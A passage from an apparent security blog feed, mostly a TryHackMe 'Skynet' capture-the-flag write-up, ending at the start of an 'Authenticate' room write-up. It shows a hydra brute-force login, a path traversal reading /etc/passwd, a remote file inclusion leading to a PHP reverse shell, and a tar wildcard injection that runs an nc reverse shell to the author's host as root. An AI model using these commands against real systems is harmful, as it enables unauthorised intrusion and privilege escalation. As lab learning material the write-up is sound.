Task #1&apos;s text.</p><p>Still, I thought I&apos;d document it as I feel that, despite referring to the write-up, I have learned some valuable skills and lessons from having completed it and I wanted to get that down here. It&apos;s all part of the journey, after all. My hope is that next time I&apos;m faced with a similar challenge I won&apos;t need to refer to the write up. Part of my plan for writing these blog posts is to try to cement in my own mind the learnings I take away from these challenges.</p><p>Other than the link to and description of the official walkthrough, the opening text gives very little away as to what needs to be done here. It simply states &quot;Are you able to compromise this Terminator themed machine?&quot;.</p><h3 id="question-1">Question #1</h3><p>The questions give you some guidance on what you&apos;re looking for:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/05/image-25.png" class="kg-image" alt="THM - Skynet" loading="lazy"><figcaption>Question #1</figcaption></figure><p>So, we have a rough idea of what username we&apos;re looking for and the fact there is some kind of e-mail service running on here.</p><p>Given the lack of any other information, I started, like usual, with a quick <code>nmap</code>:</p><figure class="kg-card kg-code-card"><pre><code>nmap -T4 -sC -sV -oN skynet.nmap 10.10.192.132

Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-29 20:46 BST
Nmap scan report for 10.10.192.132
Host is up (0.040s latency).
Not shown: 994 closed ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 99:23:31:bb:b1:e9:43:b7:56:94:4c:b9:e8:21:46:c5 (RSA)
|   256 57:c0:75:02:71:2d:19:31:83:db:e4:fe:67:96:68:cf (ECDSA)
|_  256 46:fa:4e:fc:10:a5:4f:57:57:d0:6d:54:f6:c3:4d:fe (ED25519)
80/tcp  open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Skynet
110/tcp open  pop3        Dovecot pop3d
|_pop3-capabilities: AUTH-RESP-CODE CAPA SASL PIPELINING TOP RESP-CODES UIDL
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open  imap        Dovecot imapd
|_imap-capabilities: SASL-IR LOGIN-REFERRALS ENABLE IMAP4rev1 LOGINDISABLEDA0001 post-login OK LITERAL+ have Pre-login listed capabilities more ID IDLE
445/tcp open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: SKYNET; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h40m00s, deviation: 2h53m11s, median: 0s
|_nbstat: NetBIOS name: SKYNET, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: &lt;unknown&gt; (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: skynet
|   NetBIOS computer name: SKYNET\x00
|   Domain name: \x00
|   FQDN: skynet
|_  System time: 2020-05-29T14:46:40-05:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-05-29T19:46:41
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.80 seconds</code></pre><figcaption>Scanning with nmap</figcaption></figure><p>So, we have e-mail services (<code>POP3</code> and <code>IMAP4</code> running on ports 110 and 143, respectively), a web server (Apache on port 80), ssh (port 22) and Samba (ports 139 and 445). No SMTP port, so the server&apos;s not geared to accept external mail.</p><p>First port of call would be to fire up the old browser and see what&apos;s showing on the web server:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/05/image-26.png" class="kg-image" alt="THM - Skynet" loading="lazy"><figcaption>Web server landing page</figcaption></figure><p>Looks like it&apos;s a search engine. The layout/style feels familiar, but I can&apos;t quite place where...</p><p>After probably less than a minute poking around at this, I came to the conclusion it wasn&apos;t particularly useful. I moved on to another tool which I&apos;d usually run after encountering a web server, <code>GoBuster</code>:</p><figure class="kg-card kg-code-card"><pre><code>gobuster dir -u http://10.10.192.132 -w /tryhackme/big.txt 

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.192.132
[+] Threads:        10
[+] Wordlist:       /tryhackme/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/05/29 21:11:16 Starting gobuster
===============================================================
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/admin (Status: 301)
/ai (Status: 301)
/config (Status: 301)
/css (Status: 301)
/js (Status: 301)
/server-status (Status: 403)
/squirrelmail (Status: 301)
===============================================================
2020/05/29 21:12:17 Finished
===============================================================</code></pre><figcaption>GoBuster command and output</figcaption></figure><p>Looks like we&apos;ve found something which might be of use, a <code><a href="https://squirrelmail.org/?ref=ceisc.co.uk">squrrelmail</a></code> install. Navigating to this shows us a standard SquirrelMail login:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/05/Screenshot-from-2020-05-29-21-14-31.png" class="kg-image" alt="THM - Skynet" loading="lazy"><figcaption>SquirrelMail login page</figcaption></figure><p>So we now have an endpoint for our credentials, should we be able to find the required credentials. I tried running <code>sqlmap</code> against it, despite having had a quick look around the web for known exploits and not seeing any SQLi listed. Unsurprisingly, this didn&apos;t turn anything up.</p><p>At this point I tried turning to some other ports to try. I considered running <code>hydra</code> against the SSH port but decided against it as a) I wasn&apos;t 100% sure on what username was likely to be used (the &quot;Miles&quot; in the question was capitalised and so I didn&apos;t want to trust that it should be just &quot;miles&quot; for the username), and b) hydra against SSH takes a really long time.</p><p>I thought the Samba ports may be useful and these tend to be pretty quick to enumerate, so I fired off a quick <code>smbclient</code> command:</p><figure class="kg-card kg-code-card"><pre><code>smbclient -N -L \\\\10.10.192.132

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	anonymous       Disk      Skynet Anonymous Share
	milesdyson      Disk      Miles Dyson Personal Share
	IPC$            IPC       IPC Service (skynet server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available</code></pre><figcaption>smbclient command and output</figcaption></figure><p>Looks like I may have been right not to trust what the username was going to be. Next step was to try to open the shares:</p><figure class="kg-card kg-code-card"><pre><code>smbclient \\\\10.10.192.132\\milesdyson

Enter WORKGROUP\root&apos;s password: 
tree connect failed: NT_STATUS_ACCESS_DENIED</code></pre><figcaption>Nope</figcaption></figure><figure class="kg-card kg-code-card"><pre><code>smbclient \\\\10.10.192.132\\anonymous

Enter WORKGROUP\root&apos;s password: 
Try &quot;help&quot; to get a list of possible commands.
smb: \&gt;</code></pre><figcaption>Yup</figcaption></figure><p>Within the root of the <code>anonymous</code> share, we can see a file called <code>attention.txt</code> and within a subfolder called <code>logs</code> there are three log files, of which only one contained any data. There was also a <code>books</code> folder, but that appeared to only contain <code>PDF</code> and <code>epub</code> files. I thought it best to take a look at the text files first.</p><figure class="kg-card kg-code-card"><pre><code>A recent system malfunction has caused various passwords to be changed. All skynet employees are required to change their password after seeing this.
-Miles Dyson</code></pre><figcaption>attention.txt</figcaption></figure><figure class="kg-card kg-code-card"><pre><code>cyborg007ha&lt;REDACTED&gt;
terminator2&lt;REDACTED&gt;
terminator2&lt;REDACTED&gt;
terminator2&lt;REDACTED&gt;
terminator1&lt;REDACTED&gt;
terminator1&lt;REDACTED&gt;
terminator1&lt;REDACTED&gt;
terminator1&lt;REDACTED&gt;
terminator1&lt;REDACTED&gt;
terminator1&lt;REDACTED&gt;
terminator1&lt;REDACTED&gt;
terminator1&lt;REDACTED&gt;
terminator1&lt;REDACTED&gt;
terminator1&lt;REDACTED&gt;
terminator0&lt;REDACTED&gt;
terminator0&lt;REDACTED&gt;
robotermina&lt;REDACTED&gt;
pongtermina&lt;REDACTED&gt;
manasturcal&lt;REDACTED&gt;
exterminato&lt;REDACTED&gt;
exterminato&lt;REDACTED&gt;
dterminator&lt;REDACTED&gt;
djxterminat&lt;REDACTED&gt;
dexterminat&lt;REDACTED&gt;
determinato&lt;REDACTED&gt;
cyborg007ha&lt;REDACTED&gt;
avsterminat&lt;REDACTED&gt;
alonsotermi&lt;REDACTED&gt;
Walterminat&lt;REDACTED&gt;
79terminato&lt;REDACTED&gt;
1996termina&lt;REDACTED&gt;</code></pre><figcaption>log1.txt (Redacted by author, it didn&apos;t look like this in the file itself)</figcaption></figure><p><code>log1.txt</code> looked like it could be a fairly handy password list.</p><p>Given that I still didn&apos;t know what the username was likely to be, I thought it best to try both <code>miles</code> and <code>milesdyson</code>, so I through these into a text file I called <code>users</code>:</p><figure class="kg-card kg-code-card"><pre><code>miles
milesdyson</code></pre><figcaption>users</figcaption></figure><p>I then fired up hydra to try to brute force the SquirrelMail login page:</p><figure class="kg-card kg-code-card"><pre><code>hydra -L users -P log1.txt &quot;http-post-form://10.10.192.132/squirrelmail/src/redirect.php:login_username=^USER^&amp;secretkey=^PASS^:Unknown&quot;

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-05-29 21:29:50
[DATA] max 16 tasks per 1 server, overall 16 tasks, 62 login tries (l:2/p:31), ~4 tries per task
[DATA] attacking http-post-form://10.10.192.132:80/squirrelmail/src/redirect.php:login_username=^USER^&amp;secretkey=^PASS^:Unknown
[80][http-post-form] host: 10.10.192.132   login: milesdyson   password: cyborg007ha&lt;REDACTED&gt;
1 of 1 target successfully completed, 1 valid password found
</code></pre><figcaption>hydra command and output</figcaption></figure><p>Success! We now have the username and password to get into the mailbox, with the password being the answer to question #1.</p><h3 id="question-2">Question #2</h3><figure class="kg-card kg-image-card"><img src="https://ceisc.co.uk/content/images/2020/05/image-27.png" class="kg-image" alt="THM - Skynet" loading="lazy"></figure><p>Given that <code>GoBuster</code> failed to find a hidden directory which met the mask given in the answer, I&apos;m assuming that we probably need to go looking in Miles&apos; mail for the next part. Even if it had turned up another directory, I&apos;d probably still have snooped around Miles&apos; mail anyway through natural curiosity.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/05/Screenshot-from-2020-05-29-21-34-25.png" class="kg-image" alt="THM - Skynet" loading="lazy"><figcaption>Miles&apos; mailbox</figcaption></figure><p>So, three e-mails in the mailbox. The last one contains some gibberish:</p><figure class="kg-card kg-code-card"><pre><code>i can i i everything else . . . . . . . . . . . . . .
balls have zero to me to me to me to me to me to me to me to me to
you i everything else . . . . . . . . . . . . . .
balls have a ball to me to me to me to me to me to me to me
i i can i i i everything else . . . . . . . . . . . . . .
balls have a ball to me to me to me to me to me to me to me
i . . . . . . . . . . . . . . . . . . .
balls have zero to me to me to me to me to me to me to me to me to
you i i i i i everything else . . . . . . . . . . . . . .
balls have 0 to me to me to me to me to me to me to me to me to
you i i i everything else . . . . . . . . . . . . . .
balls have zero to me to me to me to me to me to me to me to me to</code></pre><figcaption>I think this is a reference to an AI experiment gone wrong</figcaption></figure><p>The second one contained some binary:</p><figure class="kg-card kg-code-card"><pre><code>01100010 01100001 01101100 01101100 01110011 00100000 01101000 01100001 01110110
01100101 00100000 01111010 01100101 01110010 01101111 00100000 01110100 01101111
00100000 01101101 01100101 00100000 01110100 01101111 00100000 01101101 01100101
00100000 01110100 01101111 00100000 01101101 01100101 00100000 01110100 01101111
00100000 01101101 01100101 00100000 01110100 01101111 00100000 01101101 01100101
00100000 01110100 01101111 00100000 01101101 01100101 00100000 01110100 01101111
00100000 01101101 01100101 00100000 01110100 01101111 00100000 01101101 01100101
00100000 01110100 01101111</code></pre><figcaption>binary in the second e-mail</figcaption></figure><p>I ran this through CyberChef and obtained the following insightful text:</p><figure class="kg-card kg-code-card"><pre><code>balls have zero to me to me to me to me to me to me to me to me to</code></pre><figcaption>Maybe not that insightful</figcaption></figure><p>With the first e-mail, however, we find something which may help:</p><figure class="kg-card kg-code-card"><pre><code>We have changed your smb password after system malfunction.
Password: )s{A&amp;2Z&lt;REDACTED&gt;</code></pre><figcaption>First e-mail</figcaption></figure><p>Back to <code>smbclient</code> we go then:</p><figure class="kg-card kg-code-card"><pre><code>smbclient \\\\10.10.192.132\\milesdyson -U milesdyson

Enter WORKGROUP\milesdyson&apos;s password: 
Try &quot;help&quot; to get a list of possible commands.
smb: \&gt;</code></pre><figcaption>We&apos;re in!</figcaption></figure><p>In Miles&apos; share there were some more PDFs and a folder called <code>notes</code>. Within the <code>notes</code> folder there were a load of markdown files, and a txt file called <code>important.txt</code>. This looked important, so I grabbed a copy of it and had a quick look at it:</p><figure class="kg-card kg-code-card"><pre><code>cat important.txt 

1. Add features to beta CMS /45kra24&lt;REDACTED&gt;
2. Work on T-800 Model 101 blueprints
3. Spend more time with my wife</code></pre><figcaption>important.txt</figcaption></figure><p>I had no time to worry about the state of Miles&apos; relationship as I had just found the answer to question #2.</p><h3 id="question-3">Question #3</h3><p>Question #3 was actually the first question I answered as it was pretty simple and I like getting points quickly:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/05/image-28.png" class="kg-image" alt="THM - Skynet" loading="lazy"><figcaption>Question #3</figcaption></figure><h3 id="question-4">Question #4</h3><p>I had a look at the content of the hidden directory:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/05/image-29.png" class="kg-image" alt="THM - Skynet" loading="lazy"><figcaption>Content of hidden directory</figcaption></figure><p>There didn&apos;t seem to be a great deal which could be done here and an examination of the page source didn&apos;t reveal much.</p><p>This was around this point where my troubles started. My initial approach took me down a rabbit hole of trying to exploit SquirrelMail. The research I&apos;d done had suggested that a version of SquirrelMail close to the version number we were running here (<code>SquirrelMail version 1.4.23 [SVN]</code>) had an <a href="https://www.exploit-db.com/exploits/41910?ref=ceisc.co.uk">RCE</a> (Remote Code Execution) attack vector possible. Unfortunately, the research showed conflicting information regarding exactly which version was vulnerable:</p><figure class="kg-card kg-code-card"><pre><code>SquirrelMail &lt; 1.4.22 - Remote Code Execution</code></pre><figcaption>exploit-db header</figcaption></figure><figure class="kg-card kg-code-card"><pre><code>SquirrelMail &lt;= 1.4.23 Remote Code Execution PoC Exploit (CVE-2017-7692)</code></pre><figcaption>Text from the script in the exploit-db page</figcaption></figure><p>I grabbed the script anyway, and tried to run it (after sense checking it to make sure it didn&apos;t look like it was going to try to take over my machine).</p><p>Initially the script didn&apos;t work as expected as one of the pages it scraped wasn&apos;t in quite the same format as it was expecting (looking back, I should have taken the hint that this maybe wasn&apos;t the exploit I was looking for).</p><p>I modified the script and got it to run, but it never actually got me in.</p><p>Not to be put off once I&apos;ve decided to try it, I then tried to emulate the script&apos;s steps by hand to see if I could get it to work. I couldn&apos;t.</p><p>As I&apos;m not one to give up on a good idea once I think I&apos;ve had one, I then went and scoured the internet (by which I mean I did a couple of minutes of Googling) and found a python script which was meant to exploit <code>CVE-2017-7692</code>. This would have been an excellent plan if only this install of SquirrelMail had been vulnerable to this CVE.</p><p>Again, I should have taken a proper look at the header in the python file:</p><figure class="kg-card kg-code-card"><pre><code>SquirrelMail 1.4.22 Remote Code Execution (authenticated)</code></pre><figcaption>Seriously, the clues were all there</figcaption></figure><p>After dissecting and fighting with this script, I came to the conclusion that perhaps this system wasn&apos;t susceptible to this vulnerability and maybe I should have tried something else. Like an hour ago or something.</p><p>Still, it wasn&apos;t a complete waste as the time I spent looking at the two POCs for the exploit taught me a thing or two about how to script access to websites.</p><p>It was around this point where I realised I was struggling and went to the write-up. I&apos;m disappointed that I did, as the answer I found was pretty obvious and was something I should have tried:</p><figure class="kg-card kg-code-card"><pre><code>gobuster dir -u http://10.10.192.132/45kra24&lt;REDACTED&gt; -w ../big.txt 

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.192.132/45kra24&lt;REDACTED&gt;
[+] Threads:        10
[+] Wordlist:       ../big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/05/29 21:58:47 Starting gobuster
===============================================================
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/administrator (Status: 301)
===============================================================
2020/05/29 21:59:55 Finished
===============================================================</code></pre><figcaption>Well, that was pretty simple</figcaption></figure><p>Oh, there&apos;s a subdirectory here called <code>administrator</code>. Looks much more promising than my attempt to compromise SquirrelMail.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/05/image-30.png" class="kg-image" alt="THM - Skynet" loading="lazy"><figcaption>Anyone for a cuppa?</figcaption></figure><p>We&apos;ve found something we can log into! I tried all the passwords I had found up to this point with both combinations of <code>miles</code> and <code>milesdyson</code>. Nada!</p><p>I inspected the source code to the HTML and found that there was a password recovery function, but the code to activate it was commented out:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/05/Screenshot-from-2020-05-29-22-04-59.png" class="kg-image" alt="THM - Skynet" loading="lazy"><figcaption>commented out code</figcaption></figure><p>I tried putting in the e-mail address for Miles which we had a login for, but this went nowhere.</p><p>My next idea was to look for Cuppa on <a href="https://www.exploit-db.com/exploits/25971?ref=ceisc.co.uk">exploit-db</a>:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/05/image-31.png" class="kg-image" alt="THM - Skynet" loading="lazy"><figcaption>exploit-db info for Cuppa CMS</figcaption></figure><p>Well, doesn&apos;t that just sound exactly like the thing Question #3 was asking about?</p><p>I threw together a quick URL using this information:</p><figure class="kg-card kg-code-card"><pre><code>http://localhost:8080/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd</code></pre><figcaption>Nice URL ya got there</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/05/image-32.png" class="kg-image" alt="THM - Skynet" loading="lazy"><figcaption>Yup, looks like we&apos;re onto something</figcaption></figure><p>So, we&apos;ve found a local file inclusion exploit. Question #3 mentioned a remote file exploit though. Can we do that?</p><p>We know we&apos;re on PHP so we&apos;ll just write a very basic PHP script:</p><figure class="kg-card kg-code-card"><pre><code>&lt;?php echo &quot;Hello&quot;; ?&gt;</code></pre><figcaption>I&apos;m regretting not putting &quot;World&quot; on the end of this</figcaption></figure><p>We&apos;ll also fire up our trusty python3 http server:</p><figure class="kg-card kg-code-card"><pre><code>python3 -m http.server
</code></pre><figcaption>Simple HTTP server</figcaption></figure><p>Craft a nice URL:</p><figure class="kg-card kg-code-card"><pre><code>http://localhost:8080/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.9.0.232:8000/hello</code></pre><figcaption>is it me you&apos;re looking for?</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/05/image-33.png" class="kg-image" alt="THM - Skynet" loading="lazy"><figcaption>Boom!</figcaption></figure><p>So, we&apos;re now including remote files. Shall we try something a little more useful?</p><p>Let&apos;s go grab a nice PHP reverse shell from <a href="https://github.com/pentestmonkey/php-reverse-shell?ref=ceisc.co.uk">pentestmonkey</a>, modify it to point to the right host/port, start a listener and call the appropriate URL:</p><figure class="kg-card kg-code-card"><pre><code>nc -lvnp 4444

Listening on 0.0.0.0 4444
Connection received on 10.10.192.132 33934
Linux skynet 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 16:16:53 up  1:31,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can&apos;t access tty; job control turned off
$ </code></pre><figcaption>We have a shell!</figcaption></figure><p>It&apos;s just simply a case now of getting the user.txt:</p><figure class="kg-card kg-code-card"><pre><code>$ cat /home/milesdyson/user.txt
7ce5c2109a40f958099283&lt;REDACTED&gt;7</code></pre><figcaption>Wonderful</figcaption></figure><p>Although this is in Miles&apos; home folder and we&apos;re not Miles (we&apos;re <code>www-data</code>) we can access this due to the permissions on it. The same is not true of <code>/root/root.txt</code></p><p>We could also do this using LFI:</p><figure class="kg-card kg-code-card"><pre><code>http://localhost:8080/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../home/milesdyson/user.txt</code></pre><figcaption>LFI version</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/05/image-34.png" class="kg-image" alt="THM - Skynet" loading="lazy"><figcaption>Result in browser</figcaption></figure><h3 id="question-5">Question #5</h3><p>Now that we have the ability to launch a shell, I thought I&apos;d fire up <code>msfconsole</code> and generate a meterpreter connection:</p><figure class="kg-card kg-code-card"><pre><code>msf5 &gt; use exploit/multi/handler
msf5 exploit(multi/handler) &gt; set payload payload/php/reverse_php
payload =&gt; php/reverse_php
msf5 exploit(multi/handler) &gt; set lhost 10.9.0.232
lhost =&gt; 10.9.0.232
msf5 exploit(multi/handler) &gt; set lport 4444
lport =&gt; 4444
msf5 exploit(multi/handler) &gt; run

[*] Started reverse TCP handler on 10.9.0.232:4444 
[*] Command shell session 1 opened (10.9.0.232:4444 -&gt; 10.10.192.132:33942) at 2020-05-29 22:23:38 +0100

$</code></pre><figcaption>Another shell</figcaption></figure><p>From here we can upgrade to a <code>meterpreter</code> shell:</p><figure class="kg-card kg-code-card"><pre><code>msf5 exploit(multi/handler) &gt; use post/multi/manage/shell_to_meterpreter
msf5 post(multi/manage/shell_to_meterpreter) &gt; set session 1
session =&gt; 1
msf5 post(multi/manage/shell_to_meterpreter) &gt; run

[!] SESSION may not be compatible with this module.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.9.0.232:4433 
[*] Sending stage (980808 bytes) to 10.10.192.132
[*] Meterpreter session 2 opened (10.9.0.232:4433 -&gt; 10.10.192.132:57836) at 2020-05-29 22:25:01 +0100
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf5 post(multi/manage/shell_to_meterpreter) &gt; 
[*] Stopping exploit/multi/handler
sessions

Active sessions
===============

  Id  Name  Type                   Information                                                                       Connection
  --  ----  ----                   -----------                                                                       ----------
  1         shell php/php          Linux skynet 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC ...  10.9.0.232:4444 -&gt; 10.10.192.132:33942 (10.10.192.132)
  2         meterpreter x86/linux  no-user @ skynet (uid=33, gid=33, euid=33, egid=33) @ 10.10.192.132               10.9.0.232:4433 -&gt; 10.10.192.132:57836 (10.10.192.132)</code></pre><figcaption>Upgrade to meterpreter</figcaption></figure><p>From here I ran <code>metasploit</code>&apos;s <code>local_exploit_suggester</code>:</p><figure class="kg-card kg-code-card"><pre><code>msf5 post(multi/manage/shell_to_meterpreter) &gt; use post/multi/recon/local_exploit_suggester 
msf5 post(multi/recon/local_exploit_suggester) &gt; set session 2
session =&gt; 2
msf5 post(multi/recon/local_exploit_suggester) &gt; run

[*] 10.10.192.132 - Collecting local exploits for x86/linux...
[*] 10.10.192.132 - 35 exploit checks are being tried...
[+] 10.10.192.132 - exploit/linux/local/bpf_sign_extension_priv_esc: The target appears to be vulnerable.
[+] 10.10.192.132 - exploit/linux/local/glibc_realpath_priv_esc: The target appears to be vulnerable.
[+] 10.10.192.132 - exploit/linux/local/pkexec: The service is running, but could not be validated.
[*] Post module execution completed</code></pre><figcaption>local_exploit_suggester</figcaption></figure><p>This turned out to be useless as none of the suggestions worked.</p><p>I dropped back into a shell and ran LinEnum.sh (I won&apos;t reproduce the output here as it&apos;s far too long).</p><p>The only thing which stuck out was a <code>cron</code> job which runs a script within Miles&apos; home folder:</p><figure class="kg-card kg-code-card"><pre><code>*/1 *	* * *   root	/home/milesdyson/backups/backup.sh</code></pre><figcaption>Gotta love a cron job which runs as root and execute a user controlled file</figcaption></figure><p>Although the <code>cron</code> job was running a user controlled script it, unfortunately, wasn&apos;t controlled by the user we have access to.</p><p>We could view the script, but not modify it:</p><figure class="kg-card kg-code-card"><pre><code>cat backup.sh

#!/bin/bash
cd /var/www/html
tar cf /home/milesdyson/backups/backup.tgz *</code></pre><figcaption>backup script</figcaption></figure><p>After a while messing around, I went back to the write-up as I could not work out what I was meant to do from here.</p><p>It turns out that the clue was the <code>*</code> in the script which, by the time execution reached this point, was running in a directory we <em>did</em> have control over.</p><p>The only piece of information I was lacking now was how to exploit this.</p><p>It turns out that <code>tar</code> can take some command line parameters which cause it to execute a command at certain points during the process. As the process was running as <code>root</code> at this point, all we needed to do was have a reverse TCP shell script and create the files needed so that bash globbing would cause the names of the files to be used as parameters for <code>tar</code>:</p><figure class="kg-card kg-code-card"><pre><code>echo &quot;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.9.0.232 1234 &gt;/tmp/f&quot; &gt; shell.sh
touch &quot;/var/www/html/--checkpoint-action=exec=sh shell.sh&quot;
touch &quot;/var/www/html/--checkpoint=1&quot;</code></pre><figcaption>simple when you know how...</figcaption></figure><p>As the script executes every minute, once you&apos;ve done this and set up a listener, you&apos;ll very quickly get a root shell:</p><figure class="kg-card kg-code-card"><pre><code>nc -lvnp 1234

Listening on 0.0.0.0 1234
Connection received on 10.10.192.132 51100
/bin/sh: 0: can&apos;t access tty; job control turned off
# whoami
root
# cat /root/root.txt
3f0372db24753accc71&lt;REDACTED&gt;</code></pre><figcaption>root shell. At last!</figcaption></figure><p>And there we have the 5th and final answer. Room completed!</p><h3 id="lessons-learned">Lessons Learned</h3><p>There are a few things I&apos;ll take away from having completed this room:</p><ol><li>Pay more attention to the info available in the room text/questions. I went down a rabbit hole looking for an exploit where there was none. Still, I learned something from that.</li><li>If I find a directory with GoBuster, I should re-run GoBuster against that directory as well.</li><li>Bare <code>*</code> glob expansions in shell scripts are a Bad Thing<sup>TM</sup>. Prior to this room I had no idea that this was even possible, so I would <em>never</em> have finished the room without having read the write-up. Next time I&apos;ll know better.</li></ol><h3 id="summary">Summary</h3><p>Again, another really nice, interesting room on TryHackMe. Some new skills were learned which I hopefully won&apos;t forget too quickly.</p><p>Looking forward to my next room and the lessons it&apos;ll teach me.</p><p>Thanks for reading :)</p>]]></content:encoded></item><item><title><![CDATA[THM - Authenticate (alternative approach)]]></title><description><![CDATA[Write-up for the Authenticate room on TryHackMe]]></description><link>https://ceisc.co.uk/thm-authenticate/</link><guid isPermaLink="false">5ecc29934f11db03cd1b8d23</guid><category><![CDATA[thm-writeup]]></category><category><![CDATA[hacking]]></category><category><![CDATA[learning-career]]></category><dc:creator><![CDATA[Ceisc]]></dc:creator><pubDate>Mon, 25 May 2020 23:24:30 GMT</pubDate><media:content url="https://ceisc.co.uk/content/images/2020/05/84418ccf4dc20d45b16f81206f026ab9.png" medium="image"/><content:encoded><![CDATA[<figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/05/Screenshot-from-2020-05-25-21-26-17.png" class="kg-image" alt="THM - Authenticate (alternative approach)" loading="lazy"><figcaption>Room card for Authenticate</figcaption></figure><img src="https://ceisc.co.uk/content/images/2020/05/84418ccf4dc20d45b16f81206f026ab9.png" alt="THM - Authenticate (alternative approach)"><p>A new room opened up recently on <a href="https://tryhackme.com/?ref=ceisc.co.uk">TryHackMe</a> called <a href="https://tryhackme.com/room/authenticate?ref=ceisc.co.uk">Authenticate</a>, so I thought I&apos;d give it a shot and write this blog post whilst doing it.</p><p>It looks to be a relatively simple &quot;walkthrough&quot; style room where they give you all the information you need in order to crack it.</p><p>I shall try to use different methods than the intended path as a test to show that for a lot of tasks there are many ways you can solve the challenges.</p><h3 id="task-1-deploy-the-vm">Task 1 - Deploy the VM</h3><p>OK, so for the first task there isn&apos;t really a different approach as all you need to do is click the <code>Deploy</code> button and confirm that you have done this:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/05/image-18.png" class="kg-image" alt="THM - Authenticate (alternative approach)" loading="lazy"><figcaption>Success!</figcaption></figure><h3 id="task-2-dictionary-attack">Task 2 - Dictionary Attack</h3><p>The text in this task describes how you would go about brute forcing the password for users <code>jack</code> and <code>mike</code> using BurpSuite. I thought I&apos;d demonstrate that you can achieve the same result using <code>hydra</code>.</p><p>For a lot of the rooms, I try to stay away from requiring graphical tools as I&apos;m generally more a fan of the command line and I frequently access TryHackMe from a machine I&apos;m SSHd into and don&apos;t readily have access to a GUI on.</p><p>The first step in the process of hacking this site using <code>hydra</code> is to find out what endpoint the login form is sending the details to. </p><p>This can be done using your favourite browser&apos;s DevTools (at least this is what it&apos;s called in Chrome, other browsers may refer to their tools by a different name). Two options immediately spring to mind from within the DevTools: 1) examine the HTML and see what the form is doing, or 2) have the Network (or equivalent) tab open and enter dummy details in the username/password boxes and see where the request is sent.</p><p>It can also be done by using <code>curl</code> to grab the page source and viewing what the form is doing from the command line:</p><figure class="kg-card kg-code-card"><pre><code class="language-HTML">&lt;form class=&quot;navbar-form navbar-right&quot; style=&quot;text-align: right&quot; role=&quot;form&quot; method=&quot;post&quot;&gt;
  &lt;div class=&quot;form-group&quot;&gt;
    &lt;input type=&quot;text&quot; style=&quot;font-size: 100%&quot; placeholder=&quot;Username&quot; class=&quot;form-control&quot; name=&quot;user&quot;&gt;
  &lt;/div&gt;
